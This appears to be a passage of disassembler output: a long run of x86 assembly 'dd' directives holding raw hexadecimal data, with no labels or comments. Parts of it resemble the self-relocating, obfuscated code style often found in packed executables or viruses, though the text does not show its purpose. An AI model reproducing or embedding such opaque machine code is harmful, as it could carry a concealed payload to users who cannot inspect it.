		dd 3906AC75h, 9E6B11DBh, 6D37940h, 6936DCA8h, 0EAE06448h
		dd 8CF2D7Ch, 9C05AB75h,	9163E14Dh, 74C36933h, 9BA74D16h
		dd 7F4CF2BBh, 660CD432h, 46ECB917h, 0EC70C501h,	2CD615EFh
		dd 7EEFBC62h, 7DF1C615h, 5D03D02Eh, 6CEB1F90h, 0EB7FB7A4h
		dd 74F05CABh, 1685E989h, 600EB0h, 864C0000h, 0EEBB6128h
		dd 7D02E7Dh, 6A369461h,	20C7B9E8h, 0C1F0DB4Fh, 0DB4F20BFh
		dd 0D53E0972h, 9C889F6Ch, 0C66C35A8h, 0AA7570BAh, 0F4DB4C17h
		dd 3B768F70h, 0C9376BD4h, 0FDB99A58h, 305F2C95h, 0DB4E7543h
		dd 4E89BBA1h, 0B016E934h, 5080C2FEh, 99C2B5DFh,	0DB11A465h
		dd 0F84754E3h, 190h, 0AB75CE00h, 9B62C005h, 68B728F5h
		dd 0C76D3593h, 0E7582482h, 0D12670FDh, 27F45D60h, 0F29860B6h
		dd 0C9ADCEA3h, 511B799Bh, 34FE5CABh, 0C932D8A1h, 0FB2EEBDh
		dd 322250F2h, 0AAA3DD0Ch, 258EDB4Eh, 43926DBCh,	0FECB713Ch
		dd 0B0DF248Dh, 0D137CEC7h, 70ACF15Ah, 0C690D66Dh, 0AEE25320h
		dd 3685E569h, 98C71461h, 0D50155E8h, 3391E049h,	0D9B9C56Bh
		dd 519E6B11h, 55ABD504h, 1D86D501h, 55E39FCEh, 3D0AD501h
		dd 55BFC1F0h, 1DE7D501h, 6E39AA77h, 1A4AB605h, 6D791FE7h
		dd 521FC58Dh, 41862CF4h, 217016E3h, 4EF65C4Ch, 0E0864EACh
		dd 42E8B513h, 4C9B0475h, 3B8026EEh, 0A16E14DDh,	7C1AFC30h
		dd 704E05h, 0ADB59DB1h,	65B65B5Ch, 47963C07h, 0D6DFh, 0D85C9800h
		dd 7FBF6BBBh, 0A7C06780h, 37881373h, 0DDF820E8h, 701B4A8Fh
		dd 0E1D13841h, 854DAB78h, 0C804D3DFh, 9A4669D9h, 32FE5403h
		dd 17DF3D8Ch, 7E46A471h, 0B51B0BD8h, 0EE945C8Fh, 0EEB513E2h
		dd 0F393F948h, 28B65BC0h, 46h, 8AE2F866h, 223A1645h, 3F9DDB4Fh
		dd 7016E073h, 8FE5B807h, 0E0511EC4h, 20146C9Bh,	0B41DDB4Fh
		dd 314F7E4Bh, 0EBDB4F1Fh, 2BAFDF85h, 64B1FE43h,	4F1E4B35h
		dd 2E7DE6DBh, 4F2051FFh, 8B9700DBh, 46EBh, 0DDF8A100h
		dd 0EC1B4A8Fh, 55D1384Fh, 0F9C11FECh, 9F674753h, 78FD2CF9h
		dd 65D501F2h, 5018CB79h, 94419EAAh, 3F6493D8h, 0C2CAD693h
		dd 662E8C59h, 0EED2F3C0h, 7B46A476h, 2AAB86D5h,	0D5CEFD42h
		dd 2CC482F1h, 0F86DB7C3h, 0FD4A8FDDh, 0A7465AC1h, 0FB6C39DFh
		dd 0AFC07BC7h, 0FC723160h, 398FD122h, 89FAC76Dh, 0B9065320h
		dd 0FAB8F68Ah, 83D23BD4h, 0ABB75D25h, 20608FDCh, 11D4FAB9h
		dd 45291EDDh, 61CA9A80h, 7BECB412h, 856029FFh, 4F1C85C8h
		dd 48DBA402h, 9C0DDA80h, 0A6F56633h, 31557977h,	0DD87F568h
		dd 3CF622Ah, 94FDA370h,	0F79D69C7h, 82E0258Eh, 0B2C615BBh
		dd 0AD770AD2h, 73D19E07h, 7FBB00A6h, 0F5BDA684h, 0DD11824Fh
		dd 0BAEED5FCh, 0A8E4D47Bh, 8257A676h, 24C77D61h, 0CAAAB65Ch
		dd 0E3829102h, 53BFC1F0h, 9728743h, 0E56D69D5h,	43E7CAB6h
		dd 95FE6787h, 0F8ABE72Ch, 29022B57h, 0C6E4B908h, 3, 758C547Ch
		dd 0DE3C09AFh, 45A37016h, 0A806D379h, 106E3BE1h, 76D4A147h
		dd 0DC3A07ADh, 3E9C690Fh, 0A301CE74h, 0E86532D8h, 815F5457h
		dd 4C7h, 4EF8300h, 5C243C87h, 1BD568h, 24048900h, 104568h
		dd 242C8900h, 0D29B951h, 3B84657h, 29A3FA45h, 870559C8h
		dd 2D68BD67h, 10D9087Dh, 0F806AC2Dh, 11820501h,	0EC8152C4h
		dd 4, 83242489h, 5D042404h, 0DABF5750h,	29604773h, 5F04247Ch
		dd 8108458Fh, 73DA0845h, 2C8B6047h, 0E2895224h,	4C281h
		dd 0C2830000h, 24148704h, 2434FF5Ch, 4C48158h, 0E9000000h
		dd 0FFF9D8EDh, 4EB8E464h, 30653A6h, 1E0FFC5h, 1E2D872Ch
		dd 76147482h, 0FB29E7A5h, 21384320h, 5773246Bh,	2A5C3FABh
		dd 1F2F1DF4h, 0D05B7668h, 7B597DE6h, 0C54CE3D2h, 8D2C5E0Fh
		dd 53A7DD8Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 8B661382h, 998D89F1h, 89064D05h
		dd 4D2A499Dh, 1D85C706h, 10064D05h, 0F000059h, 680h, 39958B00h
		dd 0C7064D0Fh, 4D02E985h, 6, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0F2349CE6h
		dd 0AA8CF211h, 8E9C835h, 34000000h, 115C13Bh, 0B4AE6675h
		dd 5B5FF57h, 0E9064D27h, 10h, 0BBC2FCE7h, 28F235F4h, 0ABBBB775h
		dd 69B57315h, 2E5595FFh, 6A064Dh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0C5AB4BC3h, 96799797h
		dd 95FF006Ah, 64D0511h,	7EEBC08Bh, 0A62C7B09h, 4369039Eh
		dd 5ACAE63Bh, 82DF06C1h, 8021DA25h, 7A2C2FECh, 0A2EEB467h
		dd 0E8ED512h, 88167643h, 2F9C2F5Ch, 3DE1045Ch, 6C86EE90h
		dd 0C7F4BDEBh, 0AC6320FBh, 0FDF5A719h, 4F628587h, 0C06C3596h
		dd 0A223BDE8h, 844E5035h, 0BF1954B5h, 496875CBh, 7FAFBE46h
		dd 0C69E7368h, 0D31BF1A4h, 0A9208144h, 0D4E958EBh, 9B8DB5AFh
		dd 0A592DDFDh, 49CFBD9Ch, 1554E23h, 6AA34FB5h, 8D8D342Ah
		dd 653A8FDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	4FC35141h, 8D89270Ch, 64D0599h,	5EC18A52h, 51D85C7h
		dd 6B6C064Dh, 89520000h, 4D1B5D8Dh, 85C75F06h, 64D02E9h
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 99C35141h
		dd 8F0F9413h, 0
		dd 0FF3CE680h, 4D3171B5h, 6E806h, 0AB590000h, 90B7E403h
		dd 95FF5BF9h, 64D2E55h,	68E0Fh,	0BD290000h, 64D0DA5h, 95FF006Ah
		dd 64D0511h, 1DEBC08Bh,	0A76B043Eh, 1D037227h, 0A48F515Eh
		dd 35A14728h, 6D0E901Dh, 27042A5Ah, 0C9FC04C9h,	14E893h
		dd 0D3670000h, 38582490h, 0FB874C1h, 0D0AE2B54h, 0DABD350h
		dd 13B85E90h, 5A6F2E66h, 0EFB2CE81h, 0C281519Dh, 5EB0h
		dd 296D9589h, 0B9064Dh,	0BF000000h, 5AED0B6Fh, 890A1C8Bh
		dd 4D23D18Dh, 0ABEB8106h, 8B76BBCCh, 4D119585h,	2AF38106h
		dd 895A3E70h, 4D32698Dh, 2BC38106h, 8B56CE5Ch, 0A1C89FBh
		dd 518533h, 0E4B8064Dh,	836F27D3h, 9E902E9h, 0F1000000h
		dd 30A457CBh, 92D50E48h, 0F9814949h, 0FFFFA1D8h, 0FFAA850Fh
		dd 8D8DFFFFh, 653AA60h,	5998D89h, 0BB66064Dh, 85C781F5h
		dd 64D051Dh, 5CD8h, 26D9B866h, 2E985C7h, 64Dh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 8A5BBBC3h, 0A202C086h, 0B0F9D11Eh, 95B5FF91h, 6A064D27h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0A294C352h, 29508630h, 4D1FA985h,	95FF5E06h
		dd 64D2E55h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	0AEC35646h, 0EBF97399h,	8166C808h, 6AF1CDCAh, 1195FF00h
		dd 8B064D05h, 8A2CEBC0h, 6F0A0351h, 3DF0ECB3h, 0D0FC1D29h
		dd 5E03859Eh, 997FA6BFh, 0C36ED572h, 0C11ED247h, 0E0B1C2E2h
		dd 96A7E4F3h, 191AB31Dh, 0E8B4C3D5h, 0Bh, 0DA292001h, 0B77DEF1Dh
		dd 0E90AB4B3h, 5, 8AE70942h, 10E8596Ah,	0D0000000h, 0C0A895F7h
		dd 31AEFA54h, 88ADD52Bh, 8900851Dh, 4D2BB59Dh, 0C1815806h
		dd 74EEh, 1A919523h, 8FBE064Dh,	812E906Bh, 907680F6h, 0CE92Eh
		dd 4F690000h, 0B9DB2197h, 95D9612Ah, 398B1A9Ah,	0D75654BBh
		dd 51F78142h, 33677416h, 4D067D9Dh, 0F3C78106h,	0BA34577Fh
		dd 26C97949h, 0B587C781h, 9D230FC4h, 64D03C1h, 81663989h
		dd 83856FCAh, 0FE904E9h, 5E000000h, 0D943000h, 296676D3h
		dd 0B944CB10h, 0EE83F0CDh, 0AF850F01h, 60FFFFFFh, 21B5BD31h
		dd 8B66064Dh, 5FE961FAh, 52000001h, 0E860D48Bh,	0
		dd 5AED815Dh, 8B0653ABh, 453D0842h, 0F782638h, 13885h
		dd 0C428B00h, 0D3184A8Bh, 8592BBC8h, 0C3334ED4h, 8904E883h
		dd 4D059985h, 4588B06h,	428BF88Bh, 184A8B10h, 29BEC8D3h
		dd 33EF091Fh, 83C72BC6h, 0E883FCE0h, 1D858904h,	8B064D05h
		dd 85891442h, 64D02E9h,	5318428Bh, 0B0E9h, 71B5FF00h, 0E9064D31h
		dd 0B9h, 2795B5FFh, 0AEE9064Dh,	0FF000000h, 4D1FE5B5h
		dd 0A3E906h, 0B5FF0000h, 64D25F9h, 98E9h, 29B5FF00h, 0E9064D32h
		dd 8Dh,	2705B5FFh, 82E9064Dh, 0FF000000h, 4D2585B5h, 77E906h
		dd 0B5FF0000h, 64D0F3Dh, 6CE9h,	8DB5FF00h, 0E9064D2Fh
		dd 61h,	2B05B5FFh, 56E9064Dh, 0FF000000h, 4D002DB5h, 4BE906h
		dd 0B5FF0000h, 64D2D19h, 40E9h,	11B5FF00h, 0E9064D16h
		dd 35h,	755B5FFh, 2AE9064Dh, 0FF000000h, 4D227DB5h, 1FE906h
		dd 0B5FF0000h, 64D0AA1h, 14E9h,	0B8D88B00h, 0Bh, 8DE3F766h
		dd 53ABBB8Dh, 0FFC80306h, 5595FFE1h, 5B064D2Eh,	599858Bh
		dd 5839064Dh, 0F850F04h, 53000000h, 95FF016Ah, 64D0511h
		dd 0FFE2E95Bh, 5A61FFFFh, 0B85A61C3h, 77D4C96Ah, 858BE0FFh
		dd 64D0341h, 0ACA98D8Dh, 41890653h, 0EBC38B01h,	0CF47C604h
		dd 4CDE911h, 7B410000h,	1EE9C9D5h, 0C28C6C78h, 6330101Ch
		dd 8D1B1BDh, 5C545662h,	808C32FBh, 2733D9A0h, 0C9D57B47h
		dd 6F7B21E9h, 0A4DC0BD8h, 8DD4FB74h, 0AD754282h, 0DCA94F1Ah
		dd 0D735026Bh, 7C5C680Eh, 0E3410EB4h, 0D230751Bh, 2C548305h
		dd 5DB4F21h, 0FE4339Ch,	7340E6B1h, 32D58FFDh, 690FD76Ah
		dd 0B6C22B9Ch, 1F640AD6h, 8350F6C1h, 0E0AFC312h, 0C312B882h
		dd 26F39965h, 8E5B01C8h, 28DB896Dh, 0CAAAB65Ch,	608F5C02h
		dd 0DB4F2113h, 54BBC83h, 643A7EFDh, 60BE8BF4h, 0C23F096h
		dd 0F9C12420h, 0FCE2EA53h, 0EF58D48h, 4F22B016h, 60000000h
		dd 3A07AD75h, 4F20770Bh, 0AD977DDBh, 16421032h,	1C7B0h
		dd 75050000h, 0D93704AAh, 3D9B680Eh, 2785CA70h,	55FBC85Bh
		dd 5FAE1FECh, 0BEA6148Ah, 0CEDA804Bh, 0CB9326EEh, 0E1B0BC25h
		dd 68184794h, 0C9DB4F20h, 20473960h, 81EADB4Fh,	0AC756A32h
		dd 10DB3906h, 47AD9D6Ah, 7B21EA1Dh, 21C78F6Fh, 862CF654h
		dd 46D40541h, 58A7924Bh, 52C03409h, 404FE712h, 616CB016h
		dd 25000000h, 8956FCC7h, 0F471E418h, 0DA9B50AEh, 4A86C38Bh
		dd 2622D021h, 7BD928CBh, 0F23F0CB2h, 640A76A5h,	0BE27DB4Eh
		dd 0A147116Fh, 74F05ED4h, 1622C891h, 0FAC76D36h, 0E429CF9Ch
		dd 64186897h, 0B019DB4Eh, 0AA188C61h, 0FD373FBAh, 36C4B016h
		dd 2000000h, 3906AC75h,	9C690FDBh, 38AB9985h, 73BDC96Fh
		dd 7B39AA75h, 0C379C8F3h, 0A50348B1h, 0F46532D8h, 0D2A1D0A5h
		dd 12DB4E35h, 0A5BD382Ch, 52B016A9h, 1,	5AB7590h, 6C12DA38h
		dd 5BB97E9Fh, 0AF20ED93h, 56B1A7Bh, 0C413BCDBh,	2FF9EC58h
		dd 0B5207D89h, 79DCC6ECh, 0B8218309h, 19334473h, 85EED138h
		dd 0EC925AB8h, 34FC5AA7h, 2950C18Eh, 0D501D157h, 0E2271DAh
		dd 73F5662Eh, 0B43DD034h, 0E799C80Dh, 4AD50146h, 7CAB78E1h
		dd 0D5014706h, 9649FBE7h, 3C1C28CEh, 0A301CE74h, 0DCE56ADBh
		dd 77E1939Eh, 48B15721h, 0E6448B7Bh, 0B925741Ah, 1F90588Bh
		dd 2E4AE619h, 8B9700BEh, 5B8883A3h, 0D70653B6h,	0D50162A9h
		dd 68D01F88h, 133h, 0A2DDF8A6h,	2A6633D9h, 0FF7EC4C5h
		dd 59C22B81h, 33A6E514h, 42ABD138h, 61D29FFDh, 0D87C56C7h
		dd 0BE0D7690h, 1DC38BE9h, 0D6693111h, 5E9A670Dh, 57969AEDh
		dd 0E14AB312h, 0F3753E9Ch, 182BCC4h, 0A30C75D5h, 411665D6h
		dd 0BE881BE3h, 51F7C218h, 0C52B1BE8h, 0FEA46C9Fh, 0DC780AF2h
		dd 569FB65Bh, 0DD000000h, 458AE2F8h, 0E667BCF8h, 2CED57BCh
		dd 79AD0C9Dh, 9CEB5B43h, 4ECDE36Dh, 38056EDBh, 4ECB7709h
		dd 53FA5DBh, 0BC017565h, 4ECDC38Dh, 0E0258EDBh,	0CC1C6493h
		dd 0AC15DB4Eh, 90A9495Dh, 0DA000000h, 0E7775A9Eh, 3CAD7A20h
		dd 0D7501708h, 0B36A90A3h, 76C54D29h, 8FDDF8AEh, 0D79FFD4Ah
		dd 0A4F36431h, 38509275h, 7946AFD1h, 0A1AD531Bh, 8E6696D2h
		dd 0B7D397FDh, 9C420A68h, 46D5A0CFh, 0F6C1D501h, 5C258350h
		dd 9B01E9B6h, 281423A9h, 5B01C93Ch, 89E3F24Fh, 0F1AC1544h
		dd 2F85CAD5h, 6107CF62h, 64C28FF8h, 829F69Ch, 0AD1EE543h
		dd 0E1F89B2Bh, 51A00960h, 0C60F7FE5h, 8F3261A6h, 28C48280h
		dd 0C5B01CAh, 53C10539h, 0DC0232BEh, 861D6773h,	0DA08694Ah
		dd 0BC0B2D1Fh, 3378F4E1h, 236ABD04h, 0D59CFAD1h, 9BF1622Fh
		dd 9DC2BD1h, 3665E7B3h,	0D4FB104Ah, 0AC157EE7h,	26B981DFh
		dd 7BECB95Fh, 0FB370612h, 8C5E1005h, 0D12F7EF9h, 0E21E6309h
		dd 0AE14F96Bh, 582D7C0Fh, 9376FF29h, 6AC771Ah, 690FDB39h
		dd 0AB99859Ch, 0A68B725h, 0DC48973Dh, 7AD7568h,	0AD531BFBh
		dd 63342C68h, 31B2EEEFh, 0DBD5AD8Eh, 96CA3312h,	6029B91Ah
		dd 0C69BEA84h, 28F59B68h, 0C6F54207h, 0BD5DFEBAh, 0EDB80E77h
		dd 0BA097A47h, 2BF3164Eh, 0FF067AA9h, 0D5A0BD5Dh, 26F1622Fh
		dd 0D30F54BDh, 2170E3EFh, 0C6DA2997h, 0C8AD1EE6h, 4DBA97D1h
		dd 3C5A2790h, 0Ch, 0D77A316Dh, 0CA8980C9h, 8C54B37Bh, 3C09AF75h
		dd 0A37016DEh, 6D37945h, 6E3BE1A8h, 0D4A14710h,	3A07AD76h
		dd 9C690FDCh, 1CE743Eh,	6532D8A3h, 0D3968E8h, 2C890000h
		dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 68243489h
		dd 520Fh, 68241489h, 653ACCCh, 148B545Eh, 4C48124h, 83000000h
		dd 348904ECh, 8428F24h,	5A2434FFh, 0FF04C483h, 815E2434h
		dd 4C4h, 0CE33E900h, 8E2DFFF9h,	856EBF56h, 0B80BF953h
		dd 653B13Bh, 0E0FFC503h, 5B77E73Dh, 3E0132E2h, 14C3B926h
		dd 37E5DB6h, 0B2FE17Ah,	48938EE9h, 37D17226h, 562AE803h
		dd 1A9AD3B1h, 2245FB57h, 0FEEE43Ah, 31C81EB9h, 75D66FABh
		dd 31357923h, 66A8B270h, 0C3B51D8h, 72F0A667h, 206DECE2h
		dd 0B2A88D8Dh, 0B70F0653h, 998D89FFh, 6A064D05h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 8C42C355h, 0FD98B9Ah, 0C880Fh, 840F0000h, 6,	800Fh
		dd 85C70000h, 64D051Dh,	5C80h, 0C7DE8B66h, 4D02E985h, 6
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 7B77AD4Ah, 2676E081h, 0B70F1A81h, 0E5B5FFC6h
		dd 0F5064D1Fh, 2E5595FFh, 6A064Dh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 48CFB6C3h, 4A0A94B7h
		dd 13E38118h, 6A7C5D15h, 1195FF00h, 8B064D05h, 1C2FEBC0h
		dd 18057CA1h, 0C2226798h, 67911F71h, 8C3A7055h,	0EF8239F2h
		dd 4F943AA8h, 8A871C08h, 4A92E00Ah, 0C350A0B0h,	74D74DC1h
		dd 0F641BDE6h, 0ABE90E1Ah, 50000000h, 1C3F2E8Dh, 0DA5F72B1h
		dd 95A7ACABh, 0F44592B3h, 0B395A1h, 0A7ECABDAh,	0B2915D20h
		dd 96B1F46Bh, 55207520h, 0F26BB79Bh, 9692A5BCh,	3A7594A1h
		dd 9FB79960h, 0B599BD32h, 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h
		dd 0F94E0097h, 9FA5B4h,	0F07B6B5Ch, 8A924Ah, 45F352D0h
		dd 0A3F653F5h, 44D6D979h, 45E3AFF1h, 0D77D41F4h, 9792B000h
		dd 0FD756BBFh, 96BFCF60h, 0B293BCF9h
		dd 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h, 8F899BE0h
		dd 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h, 1E80097h
		dd 3D94E7A6h, 72E28332h, 33E94636h, 68000013h, 653B530h
		dd 0F9CC28E9h, 0B63268FFh, 1EE90653h, 68FFF9CCh, 653B705h
		dd 0F9CC14E9h, 0B88768FFh, 0AE90653h, 68FFF9CCh, 653B8FCh
		dd 0F9CC00E9h, 0B9B168FFh, 0F6E90653h, 68FFF9CBh, 653BA68h
		dd 0F9CBECE9h, 0BB0968FFh, 0E2E90653h, 68FFF9CBh, 653BBCDh
		dd 0F9CBD8E9h, 0BCF668FFh, 0CEE90653h, 68FFF9CBh, 653BDF3h
		dd 0F9CBC4E9h, 0BF5368FFh, 0BAE90653h, 68FFF9CBh, 653C0CFh
		dd 0F9CBB0E9h, 0C2C968FFh, 0A6E90653h, 68FFF9CBh, 653C3FCh
		dd 0F9CB9CE9h, 30D69CFFh, 0D3794424h, 771DE7C7h, 18BE8B6Bh
		dd 0BD632C0Ch, 5839AFB1h, 0FDDDE98Fh, 0A4849036h, 462632D8h
		dd 35CCD87Eh, 6C473968h, 0DFEAD4FBh, 686BDE1Ah,	0CC487E14h
		dd 0AD75B57Dh, 14DC3A07h, 0D005626Eh, 0A328579Ch, 0AED1383Ch
		dd 2B497845h, 55D50204h, 0E0827DE7h, 32B65B22h,	6B1A14F6h
		dd 0C9180212h, 3761h, 0DDF89F00h, 681B4A8Fh, 0D9D13820h
		dd 1A56A370h, 6A8AD0F9h, 2655A49Fh, 0D502114Eh,	2AA7E332h
		dd 0A3DF55FCh, 0F074E02Fh, 5BAE7D05h, 0C09AB6h,	0F5530000h
		dd 6D35842Ah, 3A07AD75h, 286D13DCh, 8E5B01CAh, 206E1241h
		dd 5AC3DB4Fh, 80CDA2F1h, 62B15722h, 0E2A93C04h,	0A806D33Ch
		dd 7D2E3AE0h, 0DB4F24EEh, 1E2AD098h, 3D0763Eh, 7ABFAD28h
		dd 3842A44Bh, 4C176DD1h, 0E24BF1B9h, 0C5106D79h, 5C3362A7h
		dd 0F5CAF2ADh, 20E9478Ch, 0C58E6E7Ah, 0F5C26832h, 5F031B84h
		dd 799879F5h, 10D786A4h, 0DFA50000h, 824D2D39h,	26F0D0DCh
		dd 0C7947480h, 6C351521h, 30B8BAC6h, 0E4F0965Fh, 8B973D04h
		dd 2D39DFABh, 0D3DF854Dh, 40406F3Ch, 0F1D4FB6Bh, 0AC75A6E6h
		dd 4574C106h, 0DB4F203Bh, 32FDA36Bh, 86667AC9h,	3D0C18BEh
		dd 20BFC1F0h, 972DB4Fh,	0DDF8F2BAh, 681B4A8Fh, 0D9D13820h
		dd 74A370h, 80D50221h, 9FA75212h, 3CB65B42h, 0D6h, 1AAD757Ah
		dd 0A3DFAC52h, 0D2415B1Eh, 0DF137C28h, 0AA75A0CAh, 0EDB44B1h
		dd 7441E7B0h, 0D5ABDA27h, 5CDB4E4Ch, 0F675A4F3h, 90DB4E50h
		dd 361622C8h, 0AEFBC86Eh, 484E3261h, 7AE3DB4Eh,	0E8B55B24h
		dd 884D2877h, 7F709FE4h, 92D1376Fh, 124E1D29h, 955C57E5h
		dd 0CF6BBBEFh, 7744EAB2h, 734E9D06h, 96C50A62h,	0CAF213EAh
		dd 3B99DE47h, 8CFDCA70h, 0F7C46A36h, 8CEA3786h,	42111DC3h
		dd 247319E4h, 0A36AFDC6h, 56BF30FDh, 7861023Eh,	0B7D5AA98h
		dd 0FD5h, 2F3BE1A7h, 0D2DE844Fh, 768228F2h, 1723C996h
		dd 0BCC86E37h, 986136BAh, 3F06E6F2h, 0E1AD8D99h, 874F2F3Bh
		dd 713ED5E1h, 0FB6A3E42h, 0A8E8F3D4h, 0FA06AC75h, 39B3EF2Bh
		dd 972B976Ch, 7C22EA48h, 0AD752670h, 14DC3A07h,	3593626Eh
		dd 88F9C66Ch, 74C36932h, 6CCA4C16h, 0AAD6FDA3h,	87DB4F20h
		dd 8AE8B51Eh, 6F1140C2h, 0C2DB4F20h, 81E4F059h,	0FF6D6845h
		dd 47D48BBAh, 45A3D138h, 0B083D278h, 5AB8FF47h,	0AD1EEB91h
		dd 2A442F5Eh, 0D5BAA8h,	8DDA276Ch, 77C9225Eh, 57A60FDDh
		dd 60F4B328h, 90D53ED3h, 0BB63A854h, 0EDAEDCD5h, 0DE60360Eh
		dd 0FDD2218Ah, 74B9B322h, 17CE8845h, 1B60C9CDh,	434FF5BDh
		dd 0DDF59B63h, 9E902A6Dh, 24C6A3Fh, 7A00000Fh, 22020EB4h
		dd 0C5A5B157h, 694955FBh, 0AEAF69Ch, 8D8F9B41h,	0C76D361Bh
		dd 6E14DBBBh, 10B68262h, 0B65C2404h, 174613AAh,	0D4FB6969h
		dd 867DBDC8h, 8635FD4Ah, 0C117E5D3h, 0A1FF4EF4h, 196633D9h
		dd 7C49EFBBh, 0F4E1BC0Bh, 2B9AF4ADh, 0AD7433CDh, 60C93A07h
		dd 2965B2F7h, 0D1DC466h, 8EF2215Eh, 0A3DB4EF8h,	5382D13Ah
		dd 0D138055Ch, 71404CB5h, 56A54B13h, 0CD125A7Bh, 0EB08D99Eh
		dd 9ADF48CAh, 6A5CB95Eh, 2F7EBE6Ch, 0E6AF0D5Ah,	0B3027340h
		dd 0B44EF084h, 5CDEA6CEh, 0B44E532Dh, 0C75DECEh, 8417E13Fh
		dd 0DCA912B8h, 20D68EF4h, 0E31E46B4h, 0BC8C9043h, 0C2683593h
		dd 5A324E7Dh, 96FFCEB4h, 3EDF47h, 0F81D0000h, 1B4A8FDDh
		dd 0D1386E44h, 0A1FF44ADh, 72232FD5h, 0D501D310h, 0E328CE96h
		dd 0BE14BA85h, 0ED0150F6h, 0CE9B410Dh, 7B053481h, 0B6D501D2h
		dd 0D23E4271h, 8AF3D501h, 0FEB4D221h, 6A00000Dh, 4A8FDDF8h
		dd 23D4D91Bh, 9ADF48D1h, 0C3F2743Ch, 0D4FB6CBDh, 96A20B74h
		dd 4C7DEEB6h, 6F733303h, 14612E97h, 7A47EDB6h, 0A21CD509h
		dd 0DD707123h, 4A22B38Eh, 937DD605h, 8CEACAD0h,	720E3DBFh
		dd 0BFCEA82Dh, 0CB9EED56h, 0F7BF1D62h, 90BF0C51h, 0CEA82DF0h
		dd 7589D841h, 5A27CD95h, 0D116567Fh, 9151E5A2h,	8C285CC4h
		dd 22C895C8h, 0CDA241EEh, 0F1F84C64h, 0CFA48611h, 0D80B1h
		dd 9036FC00h, 33D9A484h, 0D77D4727h, 781EEBCBh,	1DC38C6Ch
		dd 0B8990F11h, 5D3D49EFh, 4E4F096h, 0A6869238h,	952C38DEh
		dd 68E799C8h, 3F4AD4FBh, 20D0A4FFh, 8C49DB4Fh, 0EF6C9BE0h
		dd 2D123D3h, 87C6F8CEh,	0B47C7FA5h, 67D0410Eh, 935BB9FEh
		dd 3901E1EDh, 75124E93h, 0B1110E1Dh, 0DEB98EDDh, 13075F7h
		dd 0CAE44FAEh, 84E2FA63h, 309845FCh, 0D0B3D5Bh,	0AB710000h
		dd 4E19F905h, 0F2BC9CA8h, 9360404Ch, 3801E1EDh,	6C848692h
		dd 0B0BC622Bh, 576309D0h, 0F905AB77h, 9FAB5119h, 740C3B08h
		dd 0BDD4FB68h, 288672B2h, 5D03CD60h, 71B61F90h,	4F203E42h
		dd 3B8AF3DBh, 2A6F15DDh, 0E5D03CCh, 6D13DB39h, 0BAAA90A0h
		dd 8C32FA58h, 3E4FD73Dh, 2987B016h, 68B75Dh, 683h, 6128863Eh
		dd 2E7DEEBBh, 0A5EA8253h, 23D3F876h, 6BB019D1h,	5A9F450Dh
		dd 3F8E34FCh, 0DD834B2Bh, 9965C310h, 0FF75A4F3h, 0A8D4FB6Dh
		dd 0D100824Ah, 0D4FB6DAFh, 61B01982h, 0D81D4F86h, 0E47A06A9h
		dd 8AA20BCAh, 9845AA26h, 56DBF9CEh, 2600000Ch, 0CEAEBA60h
		dd 71515D03h, 15F501A7h, 0B696A248h, 393B47EDh,	7319E2B7h
		dd 1AC08767h, 0BC622E0Eh, 6208D0B0h, 0C3F2BF56h, 0D4FB67BDh
		dd 75296974h, 0AD531AADh, 51197744h, 0F8D74E0h,	0A1687CF9h
		dd 54BD2EFBh, 66AA6EBh,	12E63D1Bh, 0D4E4B908h, 57A476EEh
		dd 4EA55828h, 2170D9DBh, 1645ABBBh, 5CD50B0h, 868E0000h
		dd 20760A39h, 65BBDB4Fh, 3A89F298h, 4F20690Bh, 4725B0DBh
		dd 0D55BD302h, 4DB6D123h, 3CE2AA08h, 0E2885030h, 0D19B3A15h
		dd 7A525D8Ch, 0E745CAE4h, 156B9A1Ch, 1CCEAE63h,	29F44AB3h
		dd 0F645B683h, 70A2BA23h, 0DC9845ABh, 0B9FE907h, 17DD0000h
		dd 0BA856571h, 5E280814h, 0FFCCACB8h, 0A46D4D59h, 0F8F0F2FEh
		dd 1C28CE97h, 0C3CF753Ch, 657117E3h, 0B17BD85h,	878A774h
		dd 29D4FB67h, 0AD75DE1Eh, 0A0ED3A07h, 2199FE64h, 2B52DAD8h
		dd 0DB4E6B55h, 511D73DCh, 36FE5CABh, 0CDB3C390h, 8BDA6C97h
		dd 2401B016h, 3F000005h, 4A8FDDF8h, 2CD29FFDh, 0B9C7EE5Fh
		dd 78DB4F20h, 4473C00Fh, 0D123D505h, 308ED33Ch,	0D6B6C268h
		dd 6C9B680Eh, 0D4FB6D08h, 63A8C411h, 3E943A05h,	3481D076h
		dd 0E478AA05h, 0E6FE67CAh, 9845D5B6h, 0FE234116h, 7E00000Ah
		dd 260612B8h, 0C9A9B55Bh, 6D4D59FFh, 0EEEFAA0h,	91939F45h
		dd 0CB713A1Fh, 7218DFBFh, 14BA8666h, 0BA602808h, 1B4A17AEh
		dd 0D4FB6565h, 7581C1CCh, 0DC3A07ADh, 0DC296E14h, 4F20D3ADh
		dd 9FF55EDBh, 9DE2DD3h,	0A65113F9h, 0B0163E9Ch,	82B71A56h
		dd 36DDF8C8h, 4817FE7h,	0DA380000h, 2C9D6A10h, 0DBA415DDh
		dd 4EDB4F20h, 53A0E587h, 0B8852BF5h, 1CE98F5Ah,	0E40E42ABh
		dd 2EEF5BF9h, 3FDD0C5Bh, 38D1235Eh, 9B680EDAh, 5BEF62Ah
